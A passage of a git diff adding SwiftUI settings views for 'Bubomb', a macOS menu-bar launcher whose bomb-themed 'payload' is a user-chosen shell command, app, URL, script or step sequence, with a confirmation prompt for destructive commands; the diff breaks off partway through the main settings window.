b/Sources/BubombUI/Settings/GeneralSettingsView.swift @@ -0,0 +1,217 @@ +import SwiftUI +import BubombCore +#if canImport(ServiceManagement) +import ServiceManagement +#endif + +/// General application preferences including login item, animations, and safety toggles. +@MainActor +public struct GeneralSettingsView: View { + @ObservedObject var settingsStore: SettingsStore + @State private var showResetConfirmation: Bool = false + + public init(settingsStore: SettingsStore = .shared) { + self.settingsStore = settingsStore + } + + public var body: some View { + ScrollView { + VStack(alignment: .leading, spacing: 18) { + appIdentitySection + systemIntegrationSection + animationPreferenceSection + safetySection + dangerZoneSection + } + .padding(18) + } + .background(BubombTheme.windowBackground) + .alert("Reset All Settings?", isPresented: $showResetConfirmation) { + Button("Cancel", role: .cancel) {} + Button("Reset Everything", role: .destructive) { + settingsStore.resetToDefaults() + } + } message: { + Text("This will remove your configured payload, execution history, and restore factory defaults.") + } + } + + // MARK: - Sections + + private var appIdentitySection: some View { + HStack(spacing: 16) { + AnimatedBombView(size: 56) + + VStack(alignment: .leading, spacing: 3) { + Text("Bubomb") + .font(.title2.bold()) + .foregroundColor(BubombTheme.textPrimary) + + Text("Configure the boom.") + .font(.subheadline) + .foregroundColor(BubombTheme.accentOrange) + + Text("Version \(AppSettings.currentVersion) (Build \(AppSettings.buildNumber)) β’ Native macOS") + .font(.caption2) + .foregroundColor(BubombTheme.textMuted) + } + Spacer() + } + .bubombCard() + } + + private var systemIntegrationSection: some View { + VStack(alignment: .leading, spacing: 12) { + Text("System & Startup") + .font(.subheadline.bold()) + .foregroundColor(BubombTheme.accentOrange) + + Toggle("Launch Bubomb at Login", isOn: Binding( + get: { settingsStore.settings.launchAtLogin }, + set: { newValue in + var s = settingsStore.settings + s.launchAtLogin = newValue + settingsStore.update(s) + toggleLaunchAtLogin(newValue) + } + )) + .font(.subheadline) + .foregroundColor(BubombTheme.textPrimary) + + Text("Automatically arms your menu bar bomb when your Mac starts.") + .font(.caption) + .foregroundColor(BubombTheme.textSecondary) + + Divider().background(BubombTheme.borderSubtle) + + Toggle("Start Silently in Menu Bar", isOn: Binding( + get: { settingsStore.settings.startSilentlyInMenuBar }, + set: { newValue in + var s = settingsStore.settings + s.startSilentlyInMenuBar = newValue + settingsStore.update(s) + } + )) + .font(.subheadline) + .foregroundColor(BubombTheme.textPrimary) + + Text("When enabled, Bubomb starts without opening the Settings window.") + .font(.caption) + .foregroundColor(BubombTheme.textSecondary) + } + .bubombCard() + } + + private var animationPreferenceSection: some View { + VStack(alignment: .leading, spacing: 12) { + Text("Visuals & Feedback") + .font(.subheadline.bold()) + .foregroundColor(BubombTheme.accentOrange) + + Text("Menu Bar Animation Style:") + .font(.caption) + .foregroundColor(BubombTheme.textSecondary) + + Picker("", selection: Binding( + get: { settingsStore.settings.animationPreference }, + set: { newValue in + var s = settingsStore.settings + s.animationPreference = newValue + settingsStore.update(s) + } + )) { + ForEach(AnimationPreference.allCases, id: \.self) { pref in + Text(pref.rawValue).tag(pref) + } + } + .labelsHidden() + + Divider().background(BubombTheme.borderSubtle) + + Toggle("Play subtle completion sound / haptic feedback", isOn: Binding( + get: { settingsStore.settings.playCompletionFeedback }, + set: { newValue in + var s = settingsStore.settings + s.playCompletionFeedback = newValue + settingsStore.update(s) + } + )) + .font(.subheadline) + .foregroundColor(BubombTheme.textPrimary) + } + .bubombCard() + } + + private var safetySection: some View { + VStack(alignment: .leading, spacing: 12) { + Text("Safety & Protection") + .font(.subheadline.bold()) + .foregroundColor(BubombTheme.accentOrange) + + Toggle("Require explicit confirmation for destructive actions", isOn: Binding( + get: { settingsStore.settings.confirmDestructiveActions }, + set: { newValue in + var s = settingsStore.settings + s.confirmDestructiveActions = newValue + settingsStore.update(s) + } + )) + .font(.subheadline) + .foregroundColor(BubombTheme.textPrimary) + + Text("Guards against accidental execution of destructive patterns (e.g. recursive removals, raw disk writes).") + .font(.caption) + .foregroundColor(BubombTheme.textSecondary) + } + .bubombCard() + } + + private var dangerZoneSection: some View { + VStack(alignment: .leading, spacing: 12) { + Text("Reset") + .font(.subheadline.bold()) + .foregroundColor(BubombTheme.failureRed) + + HStack { + VStack(alignment: .leading, spacing: 2) { + Text("Reset Bubomb Settings") + .font(.subheadline) + .foregroundColor(BubombTheme.textPrimary) + Text("Restores all settings, clears history, and unarms active payload.") + .font(.caption) + .foregroundColor(BubombTheme.textSecondary) + } + Spacer() + Button("Reset Defaults...") { + showResetConfirmation = true + } + .buttonStyle(.bordered) + .tint(BubombTheme.failureRed) + } + } + .bubombCard() + } + + // MARK: - Helper + + private func toggleLaunchAtLogin(_ enable: Bool) { + #if canImport(ServiceManagement) + if #available(macOS 13.0, *) { + do { + if enable { + if SMAppService.mainApp.status != .enabled { + try SMAppService.mainApp.register() + } + } else { + if SMAppService.mainApp.status == .enabled { + try SMAppService.mainApp.unregister() + } + } + } catch { + // If service management registration fails in dev mode, non-fatal + print("Launch at login registration notice: \(error)") + } + } + #endif + } +} diff --git a/Sources/BubombUI/Settings/PayloadEditorView.swift b/Sources/BubombUI/Settings/PayloadEditorView.swift new file mode 100644 index 0000000..dd71959 --- /dev/null +++ b/Sources/BubombUI/Settings/PayloadEditorView.swift @@ -0,0 +1,724 @@ +import SwiftUI +import BubombCore +#if canImport(AppKit) +import AppKit +import UniformTypeIdentifiers +#endif + +/// Comprehensive editor for configuring Bubomb payloads. +@MainActor +public struct PayloadEditorView: View { + @ObservedObject var settingsStore: SettingsStore + @ObservedObject var executor: PayloadExecutor + + @State private var payloadName: String = "" + @State private var selectedTypeIndex: Int = 0 + + // Shell state + @State private var shellCommand: String = "" + @State private var shellPath: String = "/bin/zsh" + @State private var shellWorkDir: String = "" + @State private var shellArgs: String = "" + @State private var shellTimeout: TimeInterval = 30 + @State private var envKeyInput: String = "" + @State private var envValInput: String = "" + @State private var envVars: [String: String] = [:] + + // App state + @State private var appPath: String = "" + @State private var appArgs: String = "" + + // URL state + @State private var urlString: String = "https://" + + // Script state + @State private var scriptPath: String = "" + @State private var scriptArgs: String = "" + @State private var scriptWorkDir: String = "" + @State private var scriptTimeout: TimeInterval = 60 + + // Sequence state + @State private var sequenceSteps: [SequenceStep] = [] + @State private var sequenceStopOnError: Bool = true + @State private var editingStepIndex: Int? = nil + @State private var showStepEditor: Bool = false + @State private var tempStep: SequenceStep = SequenceStep(name: "New Step", action: .openURL(urlString: "https://apple.com")) + + // Feedback & Validation + @State private var feedbackMessage: String? = nil + @State private var isErrorFeedback: Bool = false + @State private var showDestructiveConfirmation: Bool = false + @State private var pendingDestructiveActionReason: String? = nil + + public init(settingsStore: SettingsStore = .shared, executor: PayloadExecutor? = nil) { + self.settingsStore = settingsStore + self.executor = executor ?? PayloadExecutor.shared + } + + public var body: some View { + ScrollView { + VStack(alignment: .leading, spacing: 18) { + headerStatusSection + payloadTypeSelector + configurationFormSection + safetyNoticeSection + actionButtonsSection + } + .padding(18) + } + .background(BubombTheme.windowBackground) + .onAppear { + loadFromActivePayload() + } + .sheet(isPresented: $showStepEditor) { + SequenceStepEditorView( + step: $tempStep, + onSave: { + if let idx = editingStepIndex, idx < sequenceSteps.count { + sequenceSteps[idx] = tempStep + } else { + sequenceSteps.append(tempStep) + } + showStepEditor = false + }, + onCancel: { + showStepEditor = false + } + ) + } + .alert("β οΈ Confirm Destructive Action", isPresented: $showDestructiveConfirmation) { + Button("Cancel", role: .cancel) {} + Button("Detonate Anyway", role: .destructive) { + executeDetonation(bypassConfirmation: true) + } + } message: { + Text(pendingDestructiveActionReason ?? "This action may perform irreversible changes.") + } + } + + // MARK: - Sections + + private var headerStatusSection: some View { + HStack(spacing: 12) { + VStack(alignment: .leading, spacing: 4) { + HStack(spacing: 8) { + Text("Configured Payload:") + .font(.headline) + .foregroundColor(BubombTheme.textPrimary) + + if let active = settingsStore.settings.activePayload { + HStack(spacing: 4) { + Circle().fill(BubombTheme.successGreen).frame(width: 8, height: 8) + Text(active.name) + .font(.subheadline.bold()) + .foregroundColor(BubombTheme.accentOrange) + } + } else { + HStack(spacing: 4) { + Circle().fill(BubombTheme.accentAmber).frame(width: 8, height: 8) + Text("Unconfigured") + .font(.subheadline) + .foregroundColor(BubombTheme.textMuted) + } + } + } + + Text("Configure the boom. One click on the menu bar bomb detonates this action instantly.") + .font(.caption) + .foregroundColor(BubombTheme.textSecondary) + } + + Spacer() + + AnimatedBombView(size: 44, isDetonating: executor.currentState.isRunning) { + detonateOrConfirm() + } + } + .bubombCard() + } + + private var payloadTypeSelector: some View { + VStack(alignment: .leading, spacing: 10) { + HStack { + Text("Payload Name") + .font(.caption.bold()) + .foregroundColor(BubombTheme.textSecondary) + Spacer() + } + + TextField("e.g. Build & Start Servers", text: $payloadName) + .textFieldStyle(.roundedBorder) + + Text("Payload Type") + .font(.caption.bold()) + .foregroundColor(BubombTheme.textSecondary) + .padding(.top, 4) + + Picker("Type", selection: $selectedTypeIndex) { + Text("Shell Command").tag(0) + Text("Open Application").tag(1) + Text("Open URL").tag(2) + Text("Run Script").tag(3) + Text("Multi-step Sequence").tag(4) + } + .pickerStyle(.segmented) + } + .bubombCard() + } + + @ViewBuilder + private var configurationFormSection: some View { + VStack(alignment: .leading, spacing: 14) { + switch selectedTypeIndex { + case 0: + shellConfigurationForm + case 1: + applicationConfigurationForm + case 2: + urlConfigurationForm + case 3: + scriptConfigurationForm + case 4: + sequenceConfigurationForm + default: + EmptyView() + } + } + .bubombCard() + } + + // MARK: - Type Specific Forms + + private var shellConfigurationForm: some View { + VStack(alignment: .leading, spacing: 12) { + Text("Shell Command Configuration") + .font(.subheadline.bold()) + .foregroundColor(BubombTheme.accentOrange) + + VStack(alignment: .leading, spacing: 4) { + Text("Command:").font(.caption).foregroundColor(BubombTheme.textSecondary) + TextEditor(text: $shellCommand) + .font(.system(.body, design: .monospaced)) + .frame(height: 70) + .padding(4) + .background(Color.black.opacity(0.3)) + .cornerRadius(6) + .overlay(RoundedRectangle(cornerRadius: 6).stroke(BubombTheme.borderSubtle, lineWidth: 1)) + } + + HStack(spacing: 12) { + VStack(alignment: .leading, spacing: 4) { + Text("Shell Environment:").font(.caption).foregroundColor(BubombTheme.textSecondary) + Picker("", selection: $shellPath) { + Text("Zsh (/bin/zsh)").tag("/bin/zsh") + Text("Bash (/bin/bash)").tag("/bin/bash") + Text("Sh (/bin/sh)").tag("/bin/sh") + Text("Direct Executable (no shell)").tag("") + } + .labelsHidden() + } + + VStack(alignment: .leading, spacing: 4) { + Text("Timeout (Seconds):").font(.caption).foregroundColor(BubombTheme.textSecondary) + Picker("", selection: $shellTimeout) { + Text("5s").tag(TimeInterval(5)) + Text("10s").tag(TimeInterval(10)) + Text("30s (Default)").tag(TimeInterval(30)) + Text("60s").tag(TimeInterval(60)) + Text("120s").tag(TimeInterval(120)) + Text("No Timeout").tag(TimeInterval(0)) + } + .labelsHidden() + } + } + + VStack(alignment: .leading, spacing: 4) { + Text("Working Directory:").font(.caption).foregroundColor(BubombTheme.textSecondary) + HStack { + TextField("/Users/... (Leave empty for home)", text: $shellWorkDir) + .textFieldStyle(.roundedBorder) + Button("Browse...") { + chooseDirectory(target: $shellWorkDir) + } + } + } + + VStack(alignment: .leading, spacing: 4) { + Text("Environment Variables:").font(.caption).foregroundColor(BubombTheme.textSecondary) + HStack { + TextField("KEY", text: $envKeyInput) + .textFieldStyle(.roundedBorder) + .frame(width: 120) + TextField("VALUE", text: $envValInput) + .textFieldStyle(.roundedBorder) + Button("Add") { + let k = envKeyInput.trimmingCharacters(in: .whitespaces) + if !k.isEmpty { + envVars[k] = envValInput + envKeyInput = "" + envValInput = "" + } + } + } + + if !envVars.isEmpty { + VStack(alignment: .leading, spacing: 4) { + ForEach(Array(envVars.keys.sorted()), id: \.self) { key in + HStack { + Text("\(key)=\(envVars[key] ?? "")") + .font(.system(.caption, design: .monospaced)) + .foregroundColor(BubombTheme.accentPurple) + Spacer() + Button(action: { envVars.removeValue(forKey: key) }) { + Image(systemName: "trash").font(.caption) + } + .buttonStyle(.plain) + } + .padding(.horizontal, 6) + .padding(.vertical, 2) + .background(Color.black.opacity(0.2)) + .cornerRadius(4) + } + } + .padding(.top, 4) + } + } + } + } + + private var applicationConfigurationForm: some View { + VStack(alignment: .leading, spacing: 12) { + Text("Open Application Configuration") + .font(.subheadline.bold()) + .foregroundColor(BubombTheme.accentOrange) + + VStack(alignment: .leading, spacing: 4) { + Text("Target Application:").font(.caption).foregroundColor(BubombTheme.textSecondary) + HStack { + TextField("/Applications/Xcode.app", text: $appPath) + .textFieldStyle(.roundedBorder) + Button("Choose App...") { + chooseApplication() + } + } + } + + VStack(alignment: .leading, spacing: 4) { + Text("Optional Launch Arguments (Space separated):").font(.caption).foregroundColor(BubombTheme.textSecondary) + TextField("--new-window", text: $appArgs) + .textFieldStyle(.roundedBorder) + } + } + } + + private var urlConfigurationForm: some View { + VStack(alignment: .leading, spacing: 12) { + Text("Open URL Configuration") + .font(.subheadline.bold()) + .foregroundColor(BubombTheme.accentOrange) + + VStack(alignment: .leading, spacing: 4) { + Text("Web Destination URL:").font(.caption).foregroundColor(BubombTheme.textSecondary) + HStack { + TextField("https://", text: $urlString) + .textFieldStyle(.roundedBorder) + + // URL Validation badge + if case .success = PathValidator.validateURL(urlString) { + Image(systemName: "checkmark.circle.fill") + .foregroundColor(BubombTheme.successGreen) + } else { + Image(systemName: "exclamationmark.triangle.fill") + .foregroundColor(BubombTheme.failureRed) + } + } + } + + Text("Detonating this payload will instantly open the validated destination in your default browser.") + .font(.caption) + .foregroundColor(BubombTheme.textSecondary) + } + } + + private var scriptConfigurationForm: some View { + VStack(alignment: .leading, spacing: 12) { + Text("Run Script Configuration") + .font(.subheadline.bold()) + .foregroundColor(BubombTheme.accentOrange) + + VStack(alignment: .leading, spacing: 4) { + Text("Script File:").font(.caption).foregroundColor(BubombTheme.textSecondary) + HStack { + TextField("/path/to/script.sh", text: $scriptPath) + .textFieldStyle(.roundedBorder) + Button("Browse...") { + chooseScript() + } + } + } + + VStack(alignment: .leading, spacing: 4) { + Text("Arguments:").font(.caption).foregroundColor(BubombTheme.textSecondary) + TextField("--env production --verbose", text: $scriptArgs) + .textFieldStyle(.roundedBorder) + } + + VStack(alignment: .leading, spacing: 4) { + Text("Working Directory:").font(.caption).foregroundColor(BubombTheme.textSecondary) + HStack { + TextField("(Optional directory)", text: $scriptWorkDir) + .textFieldStyle(.roundedBorder) + Button("Browse...") { + chooseDirectory(target: $scriptWorkDir) + } + } + } + } + } + + private var sequenceConfigurationForm: some View { + VStack(alignment: .leading, spacing: 12) { + HStack { + Text("Sequence Steps (\(sequenceSteps.count))") + .font(.subheadline.bold()) + .foregroundColor(BubombTheme.accentOrange) + Spacer() + Button("+ Add Step") { + tempStep = SequenceStep(name: "Step \(sequenceSteps.count + 1)", action: .runCommand(command: "echo 'Step'", workingDirectory: nil, timeoutSeconds: 30)) + editingStepIndex = nil + showStepEditor = true + } + .buttonStyle(.bordered) + } + + Toggle("Stop sequence immediately if any step fails", isOn: $sequenceStopOnError) + .font(.caption) + .foregroundColor(BubombTheme.textSecondary) + + if sequenceSteps.isEmpty { + Text("No steps configured. Click '+ Add Step' to build your multi-action detonation sequence.") + .font(.caption) + .foregroundColor(BubombTheme.textMuted) + .padding(.vertical, 8) + } else { + VStack(spacing: 6) { + ForEach(Array(sequenceSteps.enumerated()), id: \.element.id) { index, step in + HStack(spacing: 8) { + Text("\(index + 1).") + .font(.caption.bold()) + .foregroundColor(BubombTheme.accentOrange) + .frame(width: 20) + + VStack(alignment: .leading, spacing: 2) { + Text(step.name) + .font(.subheadline.bold()) + .foregroundColor(BubombTheme.textPrimary) + Text("[\(step.actionTypeTitle)] \(step.summary)") + .font(.caption) + .foregroundColor(BubombTheme.textSecondary) + .lineLimit(1) + } + + Spacer() + + Button(action: { + if index > 0 { + sequenceSteps.swapAt(index, index - 1) + } + }) { + Image(systemName: "arrow.up").font(.caption) + } + .disabled(index == 0) + + Button(action: { + if index < sequenceSteps.count - 1 { + sequenceSteps.swapAt(index, index + 1) + } + }) { + Image(systemName: "arrow.down").font(.caption) + } + .disabled(index == sequenceSteps.count - 1) + + Button(action: { + tempStep = step + editingStepIndex = index + showStepEditor = true + }) { + Image(systemName: "pencil").font(.caption) + } + + Button(action: { + sequenceSteps.remove(at: index) + }) { + Image(systemName: "trash").font(.caption).foregroundColor(BubombTheme.failureRed) + } + } + .padding(8) + .background(Color.black.opacity(0.2)) + .cornerRadius(6) + } + } + } + } + } + + // MARK: - Safety Notice + + private var safetyNoticeSection: some View { + let currentPayload = assemblePayload() + let risk = currentPayload.safetyRisk + + return Group { + if risk.isDestructive { + HStack(spacing: 8) { + Image(systemName: "exclamationmark.octagon.fill") + .foregroundColor(BubombTheme.failureRed) + Text("Destructive command detected: \(risk.warningMessage ?? ""). Bubomb will confirm before detonation.") + .font(.caption) + .foregroundColor(BubombTheme.failureRed) + } + .padding(10) + .background(BubombTheme.failureRed.opacity(0.12)) + .cornerRadius(8) + } else if let warning = risk.warningMessage { + HStack(spacing: 8) { + Image(systemName: "exclamationmark.triangle.fill") + .foregroundColor(BubombTheme.accentAmber) + Text("Safety notice: \(warning)") + .font(.caption) + .foregroundColor(BubombTheme.accentAmber) + } + .padding(10) + .background(BubombTheme.accentAmber.opacity(0.12)) + .cornerRadius(8) + } + } + } + + // MARK: - Action Buttons + + private var actionButtonsSection: some View { + VStack(spacing: 12) { + if let feedback = feedbackMessage { + HStack { + Image(systemName: isErrorFeedback ? "xmark.circle.fill" : "checkmark.circle.fill") + .foregroundColor(isErrorFeedback ? BubombTheme.failureRed : BubombTheme.successGreen) + Text(feedback) + .font(.caption.bold()) + .foregroundColor(isErrorFeedback ? BubombTheme.failureRed : BubombTheme.successGreen) + Spacer() + } + } + + HStack(spacing: 14) { + Button(action: { + savePayload() + }) { + HStack { + Image(systemName: "checkmark") + Text("Save Payload") + } + .frame(maxWidth: .infinity) + } + .buttonStyle(.borderedProminent) + .tint(BubombTheme.accentOrange) + .keyboardShortcut("s", modifiers: .command) + + Button(action: { + detonateOrConfirm() + }) { + HStack { + Image(systemName: "flame.fill") + Text(executor.currentState.isRunning ? "Detonating..." : "Test Payload") + } + .frame(maxWidth: .infinity) + } + .buttonStyle(.bordered) + .tint(BubombTheme.accentAmber) + .disabled(executor.currentState.isRunning) + .keyboardShortcut(.return, modifiers: .command) + } + } + .bubombCard() + } + + // MARK: - Actions & File Pickers + + private func assemblePayload() -> Payload { + let type: PayloadType + switch selectedTypeIndex { + case 0: + let args = shellArgs.components(separatedBy: .whitespaces).filter { !$0.isEmpty } + let dir = shellWorkDir.isEmpty ? nil : shellWorkDir + let timeout = shellTimeout > 0 ? shellTimeout : nil + type = .shellCommand(ShellConfig( + command: shellCommand, + shellPath: shellPath, + arguments: args, + workingDirectory: dir, + environmentVariables: envVars, + timeoutSeconds: timeout + )) + case 1: + let args = appArgs.components(separatedBy: .whitespaces).filter { !$0.isEmpty } + type = .openApplication(AppConfig(applicationPath: appPath, arguments: args)) + case 2: + type = .openURL(URLConfig(urlString: urlString)) + case 3: + let args = scriptArgs.components(separatedBy: .whitespaces).filter { !$0.isEmpty } + let dir = scriptWorkDir.isEmpty ? nil : scriptWorkDir + let timeout = scriptTimeout > 0 ? scriptTimeout : nil + type = .runScript(ScriptConfig( + scriptPath: scriptPath, + arguments: args, + workingDirectory: dir, + timeoutSeconds: timeout + )) + case 4: + type = .sequence(SequenceConfig(steps: sequenceSteps, stopOnError: sequenceStopOnError)) + default: + type = .shellCommand(ShellConfig()) + } + + return Payload( + name: payloadName.trimmingCharacters(in: .whitespaces).isEmpty ? "My Action" : payloadName, + type: type + ) + } + + private func savePayload() { + let payload = assemblePayload() + do { + try payload.validate() + settingsStore.setActivePayload(payload) + feedbackMessage = "Payload '\(payload.name)' saved and armed!" + isErrorFeedback = false + } catch { + feedbackMessage = error.localizedDescription + isErrorFeedback = true + } + } + + private func detonateOrConfirm() { + let payload = assemblePayload() + do { + try payload.validate() + } catch { + feedbackMessage = error.localizedDescription + isErrorFeedback = true + return + } + + let alwaysConfirm = settingsStore.settings.confirmDestructiveActions + let (requiresConfirm, reason) = SafetyPolicy.requiresConfirmation( + command: shellCommand, + userSettingAlwaysConfirmDestructive: alwaysConfirm || payload.requiresConfirmation + ) + + if requiresConfirm { + pendingDestructiveActionReason = reason + showDestructiveConfirmation = true + } else { + executeDetonation(bypassConfirmation: false) + } + } + + private func executeDetonation(bypassConfirmation: Bool) { + let payload = assemblePayload() + Task { + do { + _ = try await executor.detonate(payload: payload, ignoreSafetyConfirmation: bypassConfirmation) + await MainActor.run { + feedbackMessage = "Detonation complete!" + isErrorFeedback = false + } + } catch { + await MainActor.run { + feedbackMessage = "Detonation error: \(error.localizedDescription)" + isErrorFeedback = true + } + } + } + } + + private func loadFromActivePayload() { + guard let payload = settingsStore.settings.activePayload else { + payloadName = "Quick Build" + shellCommand = "echo 'Boom! Bubomb is ready.'" + return + } + + payloadName = payload.name + switch payload.type { + case .shellCommand(let cfg): + selectedTypeIndex = 0 + shellCommand = cfg.command + shellPath = cfg.shellPath + shellWorkDir = cfg.workingDirectory ?? "" + shellArgs = cfg.arguments.joined(separator: " ") + shellTimeout = cfg.timeoutSeconds ?? 0 + envVars = cfg.environmentVariables + case .openApplication(let cfg): + selectedTypeIndex = 1 + appPath = cfg.applicationPath + appArgs = cfg.arguments.joined(separator: " ") + case .openURL(let cfg): + selectedTypeIndex = 2 + urlString = cfg.urlString + case .runScript(let cfg): + selectedTypeIndex = 3 + scriptPath = cfg.scriptPath + scriptArgs = cfg.arguments.joined(separator: " ") + scriptWorkDir = cfg.workingDirectory ?? "" + scriptTimeout = cfg.timeoutSeconds ?? 0 + case .sequence(let cfg): + selectedTypeIndex = 4 + sequenceSteps = cfg.steps + sequenceStopOnError = cfg.stopOnError + } + } + + private func chooseApplication() { + #if canImport(AppKit) + let panel = NSOpenPanel() + panel.canChooseFiles = true + panel.canChooseDirectories = false + panel.allowsMultipleSelection = false + panel.allowedContentTypes = [.application] + panel.directoryURL = URL(fileURLWithPath: "/Applications") + if panel.runModal() == .OK, let url = panel.url { + appPath = url.path + if payloadName.isEmpty || payloadName == "Quick Build" { + payloadName = url.deletingPathExtension().lastPathComponent + } + } + #endif + } + + private func chooseScript() { + #if canImport(AppKit) + let panel = NSOpenPanel() + panel.canChooseFiles = true + panel.canChooseDirectories = false + panel.allowsMultipleSelection = false + if panel.runModal() == .OK, let url = panel.url { + scriptPath = url.path + if payloadName.isEmpty || payloadName == "Quick Build" { + payloadName = url.lastPathComponent + } + } + #endif + } + + private func chooseDirectory(target: Binding<String>) { + #if canImport(AppKit) + let panel = NSOpenPanel() + panel.canChooseFiles = false + panel.canChooseDirectories = true + panel.allowsMultipleSelection = false + if panel.runModal() == .OK, let url = panel.url { + target.wrappedValue = url.path + } + #endif + } +} diff --git a/Sources/BubombUI/Settings/SequenceStepEditorView.swift b/Sources/BubombUI/Settings/SequenceStepEditorView.swift new file mode 100644 index 0000000..2a063b7 --- /dev/null +++ b/Sources/BubombUI/Settings/SequenceStepEditorView.swift @@ -0,0 +1,184 @@ +import SwiftUI +import BubombCore +#if canImport(AppKit) +import AppKit +#endif + +/// Sheet or inline editor for an individual Sequence Step. +public struct SequenceStepEditorView: View { + @Binding var step: SequenceStep + var onSave: () -> Void + var onCancel: () -> Void + + @State private var stepTypeIndex: Int = 0 + @State private var appPath: String = "" + @State private var urlString: String = "https://" + @State private var commandString: String = "" + @State private var commandWorkDir: String = "" + @State private var scriptPath: String = "" + @State private var scriptArgs: String = "" + + public init(step: Binding<SequenceStep>, onSave: @escaping () -> Void, onCancel: @escaping () -> Void) { + self._step = step + self.onSave = onSave + self.onCancel = onCancel + } + + public var body: some View { + VStack(alignment: .leading, spacing: 16) { + Text("Edit Step") + .font(.headline) + .foregroundColor(BubombTheme.textPrimary) + + TextField("Step Name", text: $step.name) + .textFieldStyle(.roundedBorder) + + Picker("Action Type", selection: $stepTypeIndex) { + Text("Open Application").tag(0) + Text("Open URL").tag(1) + Text("Run Command").tag(2) + Text("Run Script").tag(3) + } + .pickerStyle(.segmented) + + Divider().background(BubombTheme.borderSubtle) + + Group { + if stepTypeIndex == 0 { + VStack(alignment: .leading, spacing: 8) { + Text("Application Path:").font(.caption).foregroundColor(BubombTheme.textSecondary) + HStack { + TextField("/Applications/Safari.app", text: $appPath) + .textFieldStyle(.roundedBorder) + Button("Choose...") { + chooseApplication() + } + } + } + } else if stepTypeIndex == 1 { + VStack(alignment: .leading, spacing: 8) { + Text("URL Destination:").font(.caption).foregroundColor(BubombTheme.textSecondary) + TextField("https://apple.com", text: $urlString) + .textFieldStyle(.roundedBorder) + } + } else if stepTypeIndex == 2 { + VStack(alignment: .leading, spacing: 8) { + Text("Shell Command:").font(.caption).foregroundColor(BubombTheme.textSecondary) + TextField("e.g. npm run build", text: $commandString) + .textFieldStyle(.roundedBorder) + Text("Working Directory (Optional):").font(.caption).foregroundColor(BubombTheme.textSecondary) + TextField("/path/to/project", text: $commandWorkDir) + .textFieldStyle(.roundedBorder) + } + } else { + VStack(alignment: .leading, spacing: 8) { + Text("Script Path:").font(.caption).foregroundColor(BubombTheme.textSecondary) + HStack { + TextField("/path/to/script.sh", text: $scriptPath) + .textFieldStyle(.roundedBorder) + Button("Browse...") { + chooseScript() + } + } + Text("Arguments (Space separated):").font(.caption).foregroundColor(BubombTheme.textSecondary) + TextField("--verbose", text: $scriptArgs) + .textFieldStyle(.roundedBorder) + } + } + } + + Spacer() + + HStack { + Button("Cancel") { + onCancel() + } + .keyboardShortcut(.cancelAction) + + Spacer() + + Button("Save Step") { + commitStep() + onSave() + } + .keyboardShortcut(.defaultAction) + .buttonStyle(.borderedProminent) + .tint(BubombTheme.accentOrange) + } + } + .padding(20) + .frame(width: 460, height: 350) + .background(BubombTheme.surface) + .onAppear { + loadFromStep() + } + } + + private func loadFromStep() { + switch step.action { + case .openApplication(let path): + stepTypeIndex = 0 + appPath = path + case .openURL(let url): + stepTypeIndex = 1 + urlString = url + case .runCommand(let cmd, let workDir, _): + stepTypeIndex = 2 + commandString = cmd + commandWorkDir = workDir ?? "" + case .runScript(let path, let args, _, _): + stepTypeIndex = 3 + scriptPath = path + scriptArgs = args.joined(separator: " ") + } + } + + private func commitStep() { + switch stepTypeIndex { + case 0: + step.action = .openApplication(applicationPath: appPath) + case 1: + step.action = .openURL(urlString: urlString) + case 2: + let dir = commandWorkDir.isEmpty ? nil : commandWorkDir + step.action = .runCommand(command: commandString, workingDirectory: dir, timeoutSeconds: 30) + case 3: + let args = scriptArgs.components(separatedBy: .whitespaces).filter { !$0.isEmpty } + step.action = .runScript(scriptPath: scriptPath, arguments: args, workingDirectory: nil, timeoutSeconds: 60) + default: + break + } + } + + private func chooseApplication() { + #if canImport(AppKit) + let panel = NSOpenPanel() + panel.canChooseFiles = true + panel.canChooseDirectories = false + panel.allowsMultipleSelection = false + panel.allowedContentTypes = [.application] + panel.directoryURL = URL(fileURLWithPath: "/Applications") + if panel.runModal() == .OK, let url = panel.url { + appPath = url.path + if step.name.isEmpty || step.name == "New Step" { + step.name = url.deletingPathExtension().lastPathComponent + } + } + #endif + } + + private func chooseScript() { + #if canImport(AppKit) + let panel = NSOpenPanel() + panel.canChooseFiles = true + panel.canChooseDirectories = false + panel.allowsMultipleSelection = false + if panel.runModal() == .OK, let url = panel.url { + scriptPath = url.path + if step.name.isEmpty || step.name == "New Step" { + step.name = url.lastPathComponent + } + } + #endif + } +} diff --git a/Sources/BubombUI/Settings/SettingsView.swift b/Sources/BubombUI/Settings/SettingsView.swift new file mode 100644 index 0000000..02d2287 --- /dev/null +++ b/Sources/BubombUI/Settings/SettingsView.swift @@ -0,0 +1,95 @@ +import SwiftUI +import BubombCore + +/// Main Settings Window for Bubomb. +@MainActor +public struct SettingsView: View { + @ObservedObject var settingsStore: SettingsStore + @ObservedObject var executor: PayloadExecutor + + @State private var selectedTab: Int = 0 + + public init(settingsStore: SettingsStore = .shared, executor: PayloadExecutor? = nil) { + self.settingsStore = settingsStore + self.executor = executor ?? PayloadExecutor.shared + } + + public var body: some View { + VStack(spacing: 0) { + topTabBar + + Divider().background(BubombTheme.borderSubtle) + + Group { + switch selectedTab { + case 0: + PayloadEditorView(settingsStore: settingsStore, executor: executor) + case 1: + ExecutionStatusView(settingsStore: settingsStore, executor: executor) + case 2: + GeneralSettingsView(settingsStore: settingsStore) + default: + EmptyView() + } + } + .frame(maxWidth: .infinity, maxHeight: .infinity) + } + .frame(minWidth: 620, idealWidth: 680, minHeight: 520, idealHeight: 580) + .background(BubombTheme.windowBackground) + } + + // MARK: - Top Tab Bar + + private var topTabBar: some View { + HStack(spacing: 16) { + HStack(spacing: 8) { + AnimatedBombView(size: 28, isDetonating: executor.currentState.isRunning) + Text("Bubomb") + .font(.headline.bold()) + .foregroundColor(BubombTheme.textPrimary) + } + .padding(.leading, 8) + + Spacer() + + Picker("", selection: $selectedTab) { + Label("Payload", systemImage: "flame.fill").tag(0) + Label("Execution", systemImage: "clock.arrow.circlepath").tag(1) + Label("General", systemImage: "gearshape.fill").tag(2) + } + .pickerStyle(.segmented) + .frame(width: 320) + .labelsHidden() + + Spacer() + + // Armed Status Pill + if settingsStore.settings.activePayload != nil { + HStack(spacing: 5) { + Circle().fill(BubombTheme.successGreen).frame(width: 6, height: 6) + Text("Armed") + .font(.caption2.bold()) + .foregroundColor(BubombTheme.successGreen) + } + .padding(.horizontal, 8) + .padding(.vertical, 4) + .background(BubombTheme.successGreen.opacity(0.12)) + .cornerRadius(12) + } else { + HStack(spacing: 5) { + Circle().fill(BubombTheme.accentAmber).frame(width: 6, height: 6) + Text("Unarmed") + .font(.caption2.bold()) + 